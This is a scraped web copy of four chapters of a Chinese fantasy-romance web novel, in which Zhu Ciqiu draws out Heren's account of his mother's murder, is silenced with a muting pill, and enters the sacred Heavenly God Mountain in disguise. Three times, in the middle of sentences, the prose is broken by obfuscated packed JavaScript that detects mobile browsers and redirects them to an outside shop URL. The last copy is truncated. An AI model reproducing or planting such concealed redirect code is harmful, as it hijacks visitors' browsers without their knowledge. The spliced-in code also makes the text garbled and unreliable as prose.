“我钦佩你能卧薪尝胆如此久,只用一击便使你父亲与阿爷在巫族的地位一落千丈,独坐首领之位。”她勾起嘴角,淡淡一笑,抬眼望向诃仁时,眼中亦有笑意,不似作伪,“你是比乌玉胜,更适合坐上王位之人。” 诃仁垂眸看向她,与她视线交汇时,似乎在看见她眼中笑意时有些微愣,他张着嘴,好像不知该说些什么,良久,才缓缓吐出一句:“卧薪尝胆,是什么意思?” 朱辞秋:“……” “夸你自立刻苦多时后,终于一雪前耻,苦尽甘来。” “受教了。”诃仁咧着嘴露出牙齿,恢复了吊儿郎当的样子,“我竟然真从你嘴里听见点儿好听的话,怎么,你今天心情很好?” 她没回答,而是抬起头看向漆黑的天空,今夜无月,只似有点点星光在黑夜中闪着。她又转过身望向远方,未有火光的情况下已看不清远处的路。于是扭头看向诃仁,开口道:“天黑了,有火折子吗?” 诃仁顿了下,抬头看了眼彻底黑下来的天,将包袱拎着,竟然从里面掏出一个火把出来,又用随身携带的火折子点燃后半举在手中。 火光立马照亮四周,让她能够看清面前举着火把的男人,也见他与她对视一瞬便飞速移开视线,将包袱单肩挎好后便举着火把径直越过她往前而去。 他们没有再说话,往前走了一刻钟后,诃仁带着她到了溪流边,然后这厮便把手中的火把递给她,让她坐在一块石头上举着火把照亮。诃仁将包袱放在地上,从附近拾了些干柴,她很自觉地上前将火把递向被诃仁搭好的干柴堆,干柴霎时燃烧,发出了熟悉的噼里啪啦声。 看着逐渐烧得旺盛的火堆,朱辞秋将火把熄灭放在一旁的地上后,便坐在火堆处的石头上看向诃仁,他正撸起袖子又拿着木棍去溪流间逮鱼,不多时便逮了两条上来,又在溪边将鱼熟练地开膛破肚后,用木棍串起来递给她一条鱼,“这回你自己烤吧,免得又以为我下毒害你。” 两人沉默地坐在火堆旁烤着鱼,不知过了多久,鱼都快半熟了,诃仁终于出声:“我说殿下,我不说话,你便不说话吗?” 朱辞秋抬眼看向诃仁,平淡道:“你想说便说。” “你变脸还挺快啊,方才还说钦佩我,如今怎么又这副态度啊!”诃仁似乎很不理解,略带着些不真切的抱怨,“果然中原的女人,花言巧语就是多。” “我并非钦佩你这个人。”她看着烤鱼,缓缓出声,“只是钦佩你能做出这样的事。很早之前,我也曾想杀了我母亲。” 诃仁闻言,怔住半晌才舔了舔唇,“你……” 不等他说完,朱辞秋便扯了扯嘴角,开口道:“我恨她,但看见她时,又心疼她。”她抬首看向诃仁,眼睛在火光下闪烁着,嘴角似有苦笑。现下这副模样,似乎是卸下了淡漠的外壳,露出了些不易察觉的温柔脆弱,“我很矛盾吧?” 面前正烤鱼的男人连鱼都不翻动了,只一动不动地沉默地看着她,眼底似乎闪过怀疑,但看向她的神情时,又不可避免地想要开口,“他不是我父亲,我父亲,早就死了。” 此话一出,朱辞秋几乎已经能够猜出十八年前发生了什么。她掀起眼皮,微微一笑,方才的温柔脆弱霎时消失,“当年他杀你母亲,灭巫医一族时,就已不是你父亲了吗?” 诃仁立马反应过来,猛地站起身,烤鱼差点掉在地上,他横眉冷竖,语气急促起来:“你!你果然是装的!” 她抬起头看了诃仁一眼,毫不在意他正在发怒,一面垂首继续专心烤着自己的鱼,一面轻声开口:“左右你都已说出口了,不如将之间故事仔细说与我听。说不定我听了后,便能跟乌玉胜一同助你登上王位。” 诃仁一屁股坐下来,又靠近她,十分警惕地问道:“你什么意思?” “字面意思。”她将鱼翻了个面,一旁的诃仁用他手里的烤鱼打了下她的鱼,开口道,“你不帮乌玉阙?你不想跟乌玉胜作对了?” 她抬眼,忽然觉得诃仁的脑子,并不像她以为的那般聪明,“我跟乌玉胜作对,并非为帮乌玉阙夺位。” 诃仁终于反应过来,当时在西岭他说出那句话后,朱辞秋的反应为何忽然平静下来。他看向她,瞬间了然,“你根本没想靠着乌玉阙让南夏大乱。” “不如首领大人先与我讲一讲,十八年前发生之事。”她将烤鱼凑到鼻尖闻了闻,又重新放入火堆中慢慢翻动着,“这里头,说不定有你我共同的仇人。” “什么——”诃仁突然停顿下来,像是想起了什么似的,久久未发一言。 直到朱辞秋的鱼烤好,从一旁的包袱中找到盐巴,撒在鱼身上后朝鱼轻轻吹着气,待不烫口后轻咬一口。鱼皮被烤得有一些焦,但胜在鱼肉鲜嫩,鱼刺也少,诃仁的盐巴味道也不错,入口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496495|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的鱼肉并不过分寡淡无味,海腥味也被冲淡不少。是以,她在诃仁未说话时,只专心吃着手中的鱼,还在诃仁手里的鱼快烤煳时提醒一句。 整条烤鱼下肚后,身上都暖和不少,她再次看向诃仁,用下巴点了他手中被烤成鱼干的鱼,“吃完告诉我烤焦的鱼干好吃吗。” 诃仁这才看向手中的鱼,终于将它救出火海,放在一旁的石头上。他盯着燃烧的柴火,将身后的枯枝又放进去了些,然后便半弓着腰,用手肘撑着膝盖,双眼一动不动地盯着又烧得旺起来的火,缓缓开口道:“当年,我六岁。” “我亲眼看着母亲,被剥皮抽筋、凌迟刮骨。他亲手,用刀片一层一层刮下她的皮囊。母亲的血肉溅在我脸上,惨叫声足以唤醒整个巫医领地,可无人来救她。”诃仁深吸一口气,连指尖都在不停地颤抖。他双眼猩红地看向朱辞秋,火光将他衬的愈发如邪魅。 她似乎透过他,看见了十八年前,血光四溅、尖声惨叫声不绝、皮肉骨头都被生刮下来的,那凄惨可怖的一幕。 诃仁勾起嘴角,冷笑一声,“他根本不是我父亲,他只是一个,披着我父亲皮的魔鬼。母亲发现了他的反常,他再也留不下母亲,但想留着她的皮,让其他人装作母亲的模样。” “是穆姨救了她,也救了我。”他垂眸掩住情绪,低声开口,“她身体不好,时常在巫医领地治愈旧疾,那日又恰好来找我母亲,她也看见了此幕,她被吓得站不住脚,但仍拼命救下被吓得快昏死过去的我,也是她立马告诉了我阿爷,那位名声最好的巫族首领,充耳不闻,甚至觉得是穆姨在抹黑巫族。” “第二日,我被吓得梦魇醒不过来,乌玉胜告诉我,说穆姨当日向整个巫医领地的人说明了此事。可无人信她,甚至要将她关入地牢。她应该早点发现的,他们是一伙的,怎么会信她呢?” “直到穆姨叫来了乌图勒,王族那时气焰正盛,与大雍尚算和平。他们不愿画皮术落入他手,便演了那样的一出戏。他们杀死了技术不好或是不会画皮术的巫医,带着余下一部分的巫医逃往蜀地,另一部分继续隐藏在南夏内。” 他抬起头看向朱辞秋,“现在你知道了吗,我与乌玉胜,一直在找那些藏在人群中的魔鬼。” “我们不知道谁是谁,也不敢相信任何一人,就连看乌图勒,都像是在看披着皮的魔鬼。我们不知道他们的目的是什么,他们好像什么都不做,只是喜欢画皮扮演别人一般。可就算只是这样,也十分恶心。” 朱辞秋亦看向他,轻声开口:“直到三年前,乌玉胜知道了穆老将军未死,你们才确定,他们想要做什么,对吗?” 诃仁沉默地看着她,仿佛在默认。 或许正是因为那一出戏,让他们结识了蜀地那位被废黜的皇子,有了这般的邪术,那本有望称帝的皇子便能再次一展他的鸿鹄之志。 但他如今想要整个天下。不只是大雍,也不只是南夏,而是,整个,天下。 39.第三十九话 但这些只是她根据诃仁所说,而做出的猜测。若真这般简单,杜世安又何必叫她来见穆家女,乌玉胜又何必让诃仁带她来呢。 朱辞秋看着对面仿佛还在沉浸在陈年往事中的诃仁,眼底闪过一抹冷意。 她其实也并不信诃仁此人能真的对她毫无保留地说出所有真相,或许他说的幼时所见确实真确无疑,但她也并非对此深信不疑,至于后面所说的那些,她甚至只信了一半不到。 那些话看似有理有据,条理清晰,可若静下心仔细一想,便能想出许多蹊跷之处。不过她现下并不打算与诃仁继续探讨这个问题。毕竟想叫一个从一开始就未打算说实话的人说实话,总归是困难的。 “为了告诉你这些事,我都快哭了,你怎么也不知道安慰一下我?”诃仁眨巴眨巴眼睛,眼里的红血丝在火光下格外明显。 朱辞秋盯着他,勾起嘴角笑了下,却并无安慰之意,反而藏着些嘲讽。笑容转瞬即逝,也不知诃仁是否看清楚了那笑里的含义。 “中原有一句诗,”她顿了顿,一时不知该如何用南夏话说出口,便转而用大雍话道,“空堂坐相忆,酌茗聊代醉。” 诃仁皱了下眉,火光随着摇动的篝火一闪一闪的,照得他的面容忽明忽暗。他声音像是被蒙在被中的一般闷,缓缓开口道:“叽里咕噜说的什么,我一个字都未听懂。” “这首诗,讲的是清明。”朱辞秋看了诃仁一眼,微微挑眉,随即便垂下眼,看向自己脚下的土地,“清明,在大雍是祭祀先祖与已故亲人的日子。” “那岂不是跟南夏的祭月日差不多?”诃仁插了一嘴。 她顿了下,想起自己也曾了解过南夏祭神日,他们认为逝去的人会归于天地,因此祭神日重在祭祀天地,在七月七那日举国上下盛办祭祀活动,但那些埋葬着故人的墓却很少有人去扫。 但现下她并不想与诃仁深讨关于清明之事,只略表认同地点点头,继续往下道:“此诗便是清明所作,而这一句的意思是——”她顿了下,想了想该如何用南夏话解释,正欲张口时,便听见诃仁迅速追问一句“是什么”。 于是她看了他一眼,缓声道:“意思是讲这写诗之人,在清明这天独坐旷室,追忆往昔,想起往日之景心中顿觉愁思孤寂,便以茶代酒来消解自己心中的苦闷。” 诃仁听完后,眼睛一直盯着她,神情变了又变,似乎想问些什么,却又不愿问出口。 有风吹过,吹动篝火,让燃烧枯枝发出的噼里啪啦的声音变得更清晰一些,火星子在半空中人飞舞一瞬。朱辞秋在风止后,弯下腰从一旁的包袱中拿出两个装满水的牛皮水壶,一个握在自己手中,一个伸手递给诃仁。 诃仁垂下眼看着水壶,好似有些愣住,过了好一会才接过。 见他接过后,她便将自己手中的水壶举在半空,朝对面的男人摇了摇,“我以水代酒,与你举杯共饮,同消心中苦闷。” 诃仁觉得不可思议,他看了看自己手中的水壶,又瞧了眼她手中的,最终将视线定格在她脸上,似乎想从她的眼神中看出一些猫腻来,但实在看不出来,便带着些警惕口吻问她:“你不会又演戏给我看呢吧?” 她笑了笑,往诃仁身侧挪了两步,又将手中的水壶主动凑近,与他手中的水壶轻轻一碰,“演戏也好,真情也罢。此处可还有其他能与首领大人举杯共饮之人?况且——” 诃仁抬眼,似乎在等她的下文。 “我知你心中郁结烦躁因幼年之事而起,但穆家女即已带你出了深渊,你也已报了仇夺了权,就该放过自己。”她看向他,神情意外的真挚,语气也愈发温柔,“你母亲若在这天地间看你这般为难自己,应当是会难过的。” 诃仁闻言,呆愣半晌,反应过来后握着水壶的手青筋暴起,指尖甚至在微微颤抖。他死死地盯着她,眼里的情绪被逐渐放大,连瞳孔都扩张一瞬,血丝也愈来愈多,就像是想将她生吞活剥一般。 “殿下,你就是这般安慰人的?是自以为很了解我吗?”他笑了一下,笑容如黑夜中的鬼魅,“动一动嘴皮子,可不会叫我喜欢上你,然后为你所用。” 朱辞秋发现,诃仁这个人,其实也挺好猜的。他的喜怒哀乐对她而言,展露得足够明显,明显到他挑一下眉都能知道他是喜是怒。 诃仁,好像并不喜欢旁人有揣度他之心。好比现在,她那番话说中了他的心,他确实为幼年之事所扰,也不肯放过自己。所以他的反应才那般大,才会出言讥讽她。 可讥讽她时,又总是提及喜欢她三字,让她不得不怀疑,这厮心底一直惦记着此事。该不会诃仁心中所想真如他口中所言,以为自己会故意让他喜欢上她,从而便易她自己吧? 可她朱辞秋,怎会做如此蠢事。从她说出清明开始,便一直试探诃仁幼年之事是否有假,现下看来,他所说之事确有几分真在里头。但又也许是她自己亲缘淡薄,不能以身共感,叫她不能完全相信诃仁会只为他母亲一人拼命至此。 但世间亲情感人之事不在少数,只是她从未有过,所以无法理解。 在这世上,能让她为之拼命的,唯有自己。 她这样想着时,眼睛却看向诃仁,眼中的笑意就要溢出来,仿佛在嘲笑面前的男人实在太过激动了。 “首领大人仿佛对自己很自信?你长得是很不错,但比乌玉胜,可差远了。”她看着他,看见他愈发不耐烦后,语气停顿一瞬,笑道,“不过真是奇怪,你这般激动,难道是以为我真会安慰你?” “呵。”诃仁气极反笑,“我只不过是未曾想到,殿下在听完我所说之事后,还能继续装作安慰的模样试探我。真不愧是冷心冷血之人。” 她笑了下,不置可否。 诃仁看着她的笑,似乎又愣了下,随即皱着眉头将手中水壶举起,又仰头痛饮了一大口,水渍顺着下巴滑到咽喉处,滴在衣袖上。 他甩手擦了擦嘴,将水壶扔在地上,像是撒气一般狠狠踩了脚水壶,又垂首看向她,颇有些咬牙切齿,“若不是乌玉胜……你果然是狐假虎威之辈!” 未等朱辞秋说话,诃仁便一脚踹翻了火堆,零落的火星子四处飘散直至看不见光亮,被踢散正在燃烧着的枯枝也逐渐熄灭,四周渐渐昏暗下来,唯一的光亮便是头顶那些并不璀璨的星星。 她看向诃仁,面前这个男人眼泛绿光,就像是雪地中的恶狼一般的眼神。在黑暗中的诃仁彻底卸下表面上那层吊儿郎当的皮,露出能将人一击毙命的獠牙来。 “想杀我?”她抬起头,在黑夜中不甘示弱,嘴角扯起十分灿烂的笑容,眼底却闪过凶光,放在一旁的手不自觉地摸向后腰的腰封处。 诃仁忽然拽住她的手腕,将她从石头上拉起来,笑得邪魅又可怕,笑声有些瘆人,也显得周围愈发空荡,“我不杀你,但也不想再听你说一句话。” 他不知从哪掏出一个小瓶子,将瓶盖用拇指轻轻一撬,单手倒出里头的药丸,又迅速塞入她口中。 朱辞秋偏头躲过,却又被他拽回来强迫她吃下这颗药丸,她被迫吃下后咳了半天,抬眼凌厉地看向诃仁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521046|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这不是毒药,你可别这般看着我。这叫哑巴药。殿下你话实在太多,少说些才能更快到天神山。”诃仁却在看着药入了她嘴后,便一把撒开她,又拍了拍手,躺在一处平坦的地方睡觉去了。 看来并不是在撒谎,这只是普通的哑巴药。 巫族奇怪的药还真多,她这般想着,又揉了揉手腕,站在原地“啊”了半天,咽喉就像是被铅灌住一般,发不出一点声音,连嘶哑的叫喊都如小猫一般细小。半晌后,她终于放弃发出声音,捡起被踩了一脚的水壶,轻轻摇了摇,发现里头还有些水,于是便悄然靠近诃仁。 诃仁耳朵动了动,似有察觉,但仍无动于衷。 朱辞秋无声地冷笑,将水壶高举在他头顶上,手腕缓缓往下,水壶渐渐偏移,壶中的水哗啦哗啦地全都倒在诃仁的脸上。 诃仁没想到她会如此,一下子坐起来,却又被她猛然扔向他的水壶打中额头,痛得他大叫出声:“朱!辞!秋!” 她都说不了话了,自然不会再继续搭理诃仁这个人,于是便也找了块平坦的地方,从包袱中拿出一张小毯子,施施然地铺在地上,躺在上头不再管诃仁如何咆哮喊她,只安心睡觉。 睡前还想着怪不得诃仁背这么大的包袱,原来里头什么都有,真是齐全。她半梦半醒间,忽然想起了大雍乡间用来驮重物的驴。 第二日,她还是发不出声音,诃仁乐着告诉她这药管个十天半个月都行,她顿时有些脸黑,走路的步子也愈发快了些。 忽然一日午饭时,诃仁正蹲在地上处理野物,她掏出匕首抵在诃仁身后,后者扭头看向她,于是她便张了张嘴,示意他速速将解药拿给她。 “不给。”诃仁并不怕她手中的匕首,“你只要一说话,我就烦。” 朱辞秋听见这话,握着匕首的手僵住一瞬便立马反手将匕首抵在自己脖子上,眼看就要划拉下去迸出鲜血,诃仁立马站起身伸手夺过她手中的匕首。 她趁此时立马放下手,将匕首扔在地上,整个人往下一压,将尚未站稳的诃仁扑倒在地。她用手肘抵在诃仁脖颈处,另一只手趁诃仁还未来得及反应时伸进他外衣口袋,从里头迅速掏出一个黑色小瓶。 这几日,她一直在观察诃仁,这人对她的警惕性愈发降低,很有可能是觉得她连话都说不出了便无任何威胁,有时看她沉默地坐在火堆处说不出话,还贱嗖嗖地掏出解药,让她求个饶便替她解毒。 真是幼稚又狠毒的男人。 诃仁瞳孔张开又紧缩一瞬,立马龇牙咧嘴地一把推开她,又在看见她手中的解药瓶子后伸手想要夺过。但她速度也很快,几乎在眨眼间便将那解药囫囵个地吞了下去,又迅速站起身退到一旁。 朱辞秋终于能发出声音,但许久未说话,嗓子有些沙哑,还有点不习惯。她迅速捡起地上的匕首指向诃仁,冷静地开口道:“休战。办正事。” “你说休就休?”诃仁拍拍屁股,瞪着她。 “这已是第十日,过不了几日,乌玉胜该到了。”她笑了下,收起匕首,懒得再与他多费口舌,只用下巴点了点诃仁身后未处理干净的野物,示意他该做饭了。 “原来你也知道他会跟来啊。”诃仁冷哼一声,看见她的动作后有些不自觉地抽了抽嘴角,“我上辈子真是欠你的。” 她坐在一旁,喝了口水,道:“没办法,我狐假虎威。” 但此时,诃仁却忽然顿在原地,侧耳仔细听了听不远处树林中的动静后立马扑灭火堆,抄起包袱又猛拽住她的手。 “跑!” 40.第四十话 朱辞秋被拉得一个踉跄,还未搞清楚状况便被诃仁强行拽住手腕远离方才所坐之地,脚上生风般迅速朝前跑着。她看了眼拉着她的诃仁,又转头朝后看了一眼。 周遭环境仍然如旧,并未看出任何异状,耳旁也只能听见奔跑时呼啸而过的风,听不出其他声音来。但拉着她跑的诃仁却始终皱起眉头,抿紧嘴唇,如临大敌般丝毫不敢停歇。 她从见到诃仁后,就从未见过他如此模样,于是不信邪地又朝后看了眼,忽然发现在方才那堆石堆旁,在不远处的林中,似乎有一些影影绰绰的黑影,正笨重又缓慢地往他们的方向而来。 但诃仁拉着她跑得太快,叫她没有闲心再去仔细探查那些黑影。极速下,她的双腿很快便酸软无力,却又不得不继续使尽全力朝前奔跑着,此时也许是那哑巴药尚未消解完全的副作用,迎面而来的风呼进咽喉中,就像是刺刀刺入一般疼。 不知跑了多久,跑到朱辞秋都觉得自己身下这双腿已不熟悉她自己时,诃仁带着她拐了无数个弯,终于在一处湖泊边上停下来。 她在停下的一刹那便甩开诃仁的手,也顾不得什么礼仪体面,只半弯着腰,一手扶着膝盖,一手捂住胸口,大口地喘着粗气。 咽喉里的腥甜愈发明显,连脸颊都酸痛起来,甚至还有些耳鸣,浑身的疲惫尤其是双腿的酸痛,都想让她立刻躺在一间干净舒适的卧房内休息。 但这里,她抬眼看了下,除了巨大的蓝色湖泊与周旁的山林植被,连风吹过都是悄无声息的,静谧得如同身处无人之境般。 她又抬头看向一旁叉着腰往后看的诃仁,问道:“你在躲什么?” 诃仁斜眼看了她一眼,颇有些无语道:“跟殿下一块走,果然容易倒霉。” 朱辞秋有些不明所以,诃仁好似瞪了她一眼,然后便不再看身后,一面往湖泊边上走去,一面又说:“神山之上生活着一种体型巨大的雪狼,一只成年雪狼能一口咬断一棵树。它们春冬是不会离开神山外出狩猎的。今日倒也是叫我长见识了,莫不是闻着殿下非我族人的味来的?” 朱辞秋双腿酸胀,并不想跟上诃仁的步子往前走,只侧头望了眼身后,想着既然诃仁都觉暂无危险了,她也无须再警惕什么,于是便一边揉着大腿一边坐在地上。 听见诃仁所说之话后也不回答,只在心中想着些事。 早前她收集南夏情报时,对于南夏的风情地貌知之甚少,重心只放于南夏王族及各部落人物之上。说到底也是因为她从未认为,自己会亲身来南夏经此一遭,所以才并不侧重风情地貌,只略作了解,能支撑她观察战情足已。 所以方才诃仁口中的雪狼,她是不了解的,所以无法断定诃仁口中的话是否有假。而她在林中看见的黑影,又太过模糊,亦无法确认是否为雪狼。 诃仁蹲在湖泊边用手捧着一捧水往嘴里喂,然后又扭头瞧了一眼她,登时不乐意道:“你又不信我?” “我只是不信我会如此倒霉。”她笑了笑,平静回答道。 诃仁挑眉:“上次在西岭,难道不是你说了之后便遇上豹熊了?” “那是阿静雅说的。” 诃仁冷哼一声,才又解释道:“你也不想想,一头能把一棵大树咬断的巨狼,谁敢去惹他?我还得护着你,一个人两条腿,打得过那一群巨狼?也就是现下有路进入此处,这要是夏秋时节,此处的路是封锁的,就是以免族人碰上雪狼。不过早前倒是有一伙人不信邪,非要来寻找雪狼踪迹,结果至今连尸骨都未找到。” “虽说雪狼凶暴无比,但巫族人称它们是天神的使者,对此敬仰无比。它们守护着神山,能让神山上的奇珍异宝不被外族人偷窃。这些,等乌玉胜来了,你大可以再问问他,如此便知我骗没骗你了。” 她看着诃仁,笑容平和,只淡淡道:“既然如此,那你怎么还跑得如此快?” “说归说,做归做。”诃仁站起身,又抄起包袱背在身上,也笑了一下,“再说了,我也得活着才能敬仰吧?” 她表示赞同地点了点头:“首领大人说得在理。” “走吧殿下,过了天池便是天神山地界了。”诃仁扬起下巴,侧头用下巴点了点远处的雪山山峰,“那,就是天神山。” 朱辞秋缓缓站起身,这才仔细看向诃仁所说的方向。 此处便是天池,这片蓝色湖泊仿佛与远处的雪山相连,不分彼此。天池周遭被山群围绕,中间却又空旷平坦无比,身后只有一条不算宽敞的弯曲小路,仿佛天池是这里的中心,而天神山是这里的终点。 若非情势所迫,她应当是极喜欢这样的地方的,这也是她在南夏从未见过的风景。仿佛站在这里,就已经能感受到独属于冬雪的静谧与洁白。 只是不知那位穆家女,是否早已看惯了此景,心中再无任何波澜。 因着雪狼忽然现身之事,诃仁此刻要比先前警惕许多,赶路的脚步也加快不少,朱辞秋时常都跟不上他,又经常觉得太累了需要在原地休息一刻钟。 诃仁等得不耐烦便会一把拽住她的肩膀,强行让她站起来朝前走。这时候她便问了早就想问的问题:“为何不骑马入内?” “你也看见了,这里的路大多都不平坦,”诃仁抬手指了指地上半大的石头与不远处的小路,又带着些嘲讽的语气道,“你那骑术在草原上还够使,可若在此处骑马前行,怕是连缰绳都控制不好,一上马便会被颠下马来。况且——” “霞山谷的人对天神山有天然的敬畏之心,往来此处都靠一双脚,我都已带着一个外族人入内了,还要骑马来此,难不成真要等他们发火将我逐出去啊?”诃仁掏了掏耳朵,“他们不理睬你是因为乌玉胜替你受了献礼,又有铁木修那样的大巫医替你作保,不然你哪能来此,早就一棒子打你出去了。” 朱辞秋一笑,声音柔了半分:“那我还得在此谢谢你们。” “你别、你别这个语气!”诃仁双手交叉摸了摸胳膊,做出一脸恶心样,“你这样我可真瘆得慌,走走走,快走!” 言罢,便飞速往前跑去。 她看着诃仁的背影,倒是真没想到能将他吓成这副模样。 过了天池,朱辞秋能明显感觉到天气有些寒冷,手脚都有些僵住,步子也缓慢下来。诃仁从包袱里掏出御寒的外套让她披上后才好了些许。 好在已经入春,并不似严冬那般寒冷,她穿上御寒衣物后也能正常行走,并未拖诃仁的后腿,也叫这厮没了嘲笑她的理由。 从天池往前走第七日,她与诃仁便彻底到了天神山范围内,周遭开始多了许多守卫。他们密密麻麻地守在四周,腰间挂着狼刀与弓箭,手上还举着长矛。 她欲继续往前走,但诃仁却忽然将她拉到一处大石堆下,做了个噤声的手势,从包袱中取出两盘胭脂递给她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556154|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她用口型问道:做甚? 诃仁凑到她耳边极小声道:“你个大雍人不乔装打扮一下怎么进去?这里不让异族人尤其大雍人入内!” 朱辞秋挑了挑眉,沉默一瞬便接过了胭脂。 打开这两盒胭脂一看,一盒纯黑,一盒纯红,于是小声道:“这如何乔装?” 诃仁颇有些恨铁不成钢,把包袱轻轻放在地上,直接用食指和中指剜了一大块胭脂,然后便往她脸上糊,速度快到她连躲闪都未曾来得及。 “就这样!”诃仁糊了一半后收回手,小声呵斥,又左右张望着,“你赶紧,你赶紧!” 朱辞秋皱着眉,将那黑色的胭脂一层一层抹在自己脸上,直至每个角落都抹匀后,用手指戳戳正在朝外探听的诃仁,“看看,好了没?” 诃仁扭头看向她,愣了半晌,差点没憋住笑。他颤抖着手朝红色胭脂伸去,从里头剜了小小的一点,点在她脸上,“你……你……” 她知道这家伙一开口就想笑,于是学着他的样子自顾自地给自己黝黑的脸上点起红痣。 点得差不多后,诃仁又递给她一块黑布,让她蒙在自己脸上。 “你,你快点蒙上!”诃仁以拳抵唇,笑音仍然漏了出来。 此时没有镜子,朱辞秋并不知道自己现下有多么滑稽,她甚至为了乔装更逼真,在自己脖颈与手掌手臂上都抹了黑色的胭脂,也点了些红痣。 诃仁终于忍住笑,从包袱中掏出几袋药包放与她跟前,将包袱中其他物件全都随意地扔在地上,最后把药包放回包袱,又将包袱递给她,“拿着这个,还有,木牌给我。” 她沉默须臾,从怀中掏出木牌,递给了他。然后便照着诃仁的指示装作来送药的奴仆,背着包袱佝偻着腰,唯唯诺诺地跟在诃仁身后。 刚走入守卫视线,便被他们立马察觉。 “来者何人!”守卫将长矛横空,冰冷又无情地指向朱辞秋与诃仁。 诃仁掏出木牌,冷声道:“巫族首领诃仁,替乌纳兰公主来给夫人送药。” “平日都是乌纳兰公主,怎么今日是你?”守卫皱着眉头,长矛松了一瞬,却并未放松警惕。他偏头看向身后的朱辞秋,往前走了一步,将长矛指向她,“你又是谁?” “这是铁木修巫医的药奴,有新药需她试药,所以才跟我一块前来。”诃仁亦往前走了一步,用手按住长矛矛身,镇定自若道,“近日春狩出了些事,乌纳兰公主暂且脱不开身,所以我才替她来的。” 守卫仍有些怀疑,侧身躲开诃仁后便用长矛挑起包袱,朱辞秋装作体力不支常年深受虐待的模样摔到地上,露出手臂上的红疹。 诃仁用脚踹了踹她,怒道:“还不快起来!” 朱辞秋默默地佝偻着背站起身,用余光瞥了眼面前诃仁的背影。 为了躲过守卫,她暂且忍一忍这厮。 守卫检查完包袱,又瞧见她手臂上的红疹与不同于常人的黑色皮肤,眼神又看向她被黑布遮住的半张脸,带着些感慨的语气道:“啧啧,铁木修巫医的药奴,可真惨呐!” 他将包袱还给诃仁,诃仁又一把扔给了她。 “进去吧!三日后午时必须出来!”守卫收起长矛,留出了中间的通行之路。 朱辞秋抱着包袱,又跟在诃仁身后,小心翼翼地穿过守卫众多之地,突然方才外头检查的守卫骤然转身出声:“且慢!” 41.第四十一话 守卫声音不算凌厉,却叫朱辞秋与诃仁被迫停在原地。 只见诃仁转过身,垂眼朝她使了个眼色,示意她到他身后去,然后便掀起眼皮看向守卫。 她紧攥着包袱小心翼翼地退到他身后,借着转身的间隙抬眼悄悄地观察守卫,又听见诃仁略带笑意地开口问道:“敢问还有何事?” 那守卫摆了摆手,随口道:“也没什么,只是告诫你们一声,近日夫人情绪不大好,也不太喜欢看见陌生人,劝你们俩速去速回,别惹夫人生气。”他又将长矛向上抬了抬,似在示意些什么,语气也变得恭敬起来,“上面那位若知道夫人又不高兴,别说你是巫族首领了,就是王族中人来了,也得留下一颗脑袋!” 这守卫话语间对他口中的夫人格外尊敬,并无半点看管犯人之意。恐怕这些围在外围的守卫,重点在守里面的人安全无虞,而非看管监视。 “多谢大哥提醒。”诃仁点了点头,见守卫昂首摆手叫他进去后再度转身,朝朱辞秋微微挑眉,然后便大步流星地往前走。 她跟在诃仁身后,直至远离最外围的守卫可以看见的视线后直起身,越过诃仁,将手中的包袱一把扔给他,又扯下脸上的黑布攥在手中。 诃仁一只手接过,扭头朝后望了眼,又左右看了两眼后,朝朱辞秋挑眉道:“殿下真好演技啊。” 朱辞秋用手搓了搓手背上的胭脂,发现搓不大掉后便放下手,专心观察着四周。 此时临近黄昏,天神山高耸入云,两旁尚绿的山峰像护卫一般立在神山身侧,对面茂密的树林一眼望不到头,脚下是平坦的草地,右侧有宽大的溪流蜿蜒至外,它们在夕阳的笼罩下,影子仿佛都倒映在她脚下这片大地上,将整片天地笼罩在神山之下。 而她就站在这巨大的神山下,抬头都不知那神山究竟还有多远。 她不接诃仁的话,只问了一句:“首领大人,早前从未来过此地吗?” 身后的诃仁沉默一瞬,像是在默认她心中的那个答案。 她站在原地一瞬,看向双手的胭脂,又看了眼不远处的溪流,问道:“天黑前能到木牢吗?”刚问完便轻声一笑,“我忘了,首领大人没来过此地,自然不知还有多久。” “我虽未曾来过,可乌玉胜都告诉我了!”诃仁道,“过了这里,入林后便是木牢,天黑前自然能到。” 朱辞秋闻言,转过身指了指自己脸上这些胭脂,又用下巴指了指一旁的溪流,平静道:“我去洗掉这些东西。” 言罢,便不管诃仁,径直走向溪流。 诃仁跟在她身后,突然按住她的肩膀,大声道:“林中无数守卫,你现在洗了,等会儿怎么办!” 她猛地甩开诃仁的手后,转过身看着他微微一笑,抬起一只手在诃仁面前晃了晃,趁后者因她如今模样与动作愣神想笑时,忽然朝他甩了一巴掌。 力道不大,但足够面前这个爱开玩笑戏弄她的男人愣神半刻。 “若你还想戏弄我,我不介意再打你一巴掌。”面上笑容转瞬即逝,取而代之的则是眼中无尽的冷漠,“我不会再信你半个字。” 